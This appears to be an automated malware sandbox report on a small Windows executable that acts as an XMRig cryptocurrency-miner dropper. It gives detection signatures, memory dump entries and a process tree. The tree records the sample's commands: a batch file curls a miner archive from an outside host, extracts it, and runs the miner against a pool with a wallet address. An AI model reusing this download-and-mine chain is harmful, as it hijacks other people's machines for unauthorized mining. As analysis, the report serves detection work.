Resubmissions
13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
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240313-km8cysha9v1013/03/2024, 08:43
240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
240312-wg7p1sfc5y1012/03/2024, 17:53
240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1801s - max time network
1802s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy - Copy.exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JonpnN1v.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1400 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:81⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1400 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
JonpnN1v.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/2636-56-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-60-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-92-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-91-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-26-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-27-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-29-0x000001AF81040000-0x000001AF81060000-memory.dmp
memory/2636-28-0x000001AF81020000-0x000001AF81040000-memory.dmp
memory/2636-57-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-31-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-32-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-33-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-35-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-36-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-37-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-38-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-39-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-40-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-41-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-42-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-43-0x000001AF81020000-0x000001AF81040000-memory.dmp
memory/2636-44-0x000001AF81040000-0x000001AF81060000-memory.dmp
memory/2636-45-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-46-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-47-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-59-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-49-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-50-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-51-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-52-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-53-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-54-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-55-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-24-0x000001AF80FB0000-0x000001AF80FD0000-memory.dmp
memory/2636-30-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-25-0x000001AF81000000-0x000001AF81020000-memory.dmp
memory/2636-48-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-58-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-61-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-62-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-63-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-64-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-65-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-66-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-67-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-68-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-69-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-70-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-71-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-72-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-73-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-74-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-75-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-76-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-77-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-78-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-79-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-80-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-81-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-82-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-83-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-84-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-85-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-86-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-87-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-88-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-89-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/2636-90-0x00007FF6D2BF0000-0x00007FF6D36F4000-memory.dmp
memory/3504-1-0x00007FF97AC10000-0x00007FF97B6D1000-memory.dmp
memory/3504-0-0x00000000004A0000-0x00000000004A8000-memory.dmp
memory/3504-7-0x00007FF97AC10000-0x00007FF97B6D1000-memory.dmp
memory/3504-23-0x00007FF97AC10000-0x00007FF97B6D1000-memory.dmp